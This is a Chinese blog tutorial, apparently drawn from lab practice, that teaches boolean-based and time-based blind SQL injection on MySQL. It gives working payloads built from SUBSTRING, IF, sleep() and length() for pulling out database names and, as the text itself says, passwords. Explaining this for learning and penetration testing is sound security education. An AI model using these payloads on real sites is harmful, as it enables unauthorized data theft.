0
点赞
收藏
分享

微信扫一扫

web安全之SQL注入(三)

文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

web安全之SQL注入(三)

盲注入

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

原理

布尔型盲注入主要是通过substring这个函数来进行判断,来获取库名、表名及更多的敏感数据。

这个函数的作用主要是用于某个值的位数。

select substring('longwaer',1,4)

在这里插入图片描述
这里就可以看出取出了前4位的值,因此在这个位置我们可以将MySQL的内置函数放入,同样可以进行数据获取。

SELECT substring(database(),1,1)

在这里插入图片描述
然后我们在将取出的值使用if进行一个判断,就可以成功获取敏感信息。

select if(substring(database(),1,1)='d',1,0)
select if(substring(database(),1,1)='v',1,0)

可以看出当我们数据库第一位获取正确时,则会返回1,当我们获取错误时,则会返回0
在这里插入图片描述
在这里插入图片描述
因此在我们了解原理后,再进行代码分析。

代码分析

这里我在图片中描述有的错误,是输入的参数大于0,且这个值存在,就返回存在,输入的值不存在,就返回不存在。
在这里插入图片描述
通过代码分析,我们如果使用之前的语句来获取数据,页面不会有任何数据的返回。
盲注入有两种方式来进行判断,通过页面返回不同,来进行判断,称为布尔型盲注入;通过延时来判断,称为延时注入。

布尔型盲注入

这种我们同样可以使用之前的判断方式来判断页面是否存在注入。

1' and '1'='1
1' and '1'='2

通过页面不同的提示来进行判断。
这里我们同样也可以使用if来进行判断。

1' and if(1=1,1,0)#
1' and if(1=2,1,0)#

在这里插入图片描述
在这里插入图片描述
因为使用联合查询,无法获取数据,所以我们则可以使用substring这个函数来进行判断。从而获取敏感数据。

1' and if(SUBSTRING(database(),1,1)='d',1,0)#  
1' and if(SUBSTRING(database(),1,1)='v',1,0)# 

在这里插入图片描述
在这里插入图片描述
这样我们就可以依次获取库名,表名,以及账户密码等敏感数据。通过手工速度较慢,所以我们可以借助burp或编写脚本跑出我们所需的数据。
这是我们有回显的时候,可以通过页面提示信息不一致来判断,但如果我们没有回显,则需要使用延时注入来进行测试。

延时注入

当页面没有任何的提示时,则需要这种方式来进行测试。

1' and sleep(5)#

在这里插入图片描述
当没有任何信息回显时,我们则可以通过下面的方式来获取数据库长度,通过执行的时间来确定。

1' and if(length(database())<5,sleep(5),0)-- 

在这里插入图片描述
当发现存在这种无回显盲注入时,可配合SQLMAP工具来一起使用,从而快速的获取敏感信息。

举报

相关推荐

0 条评论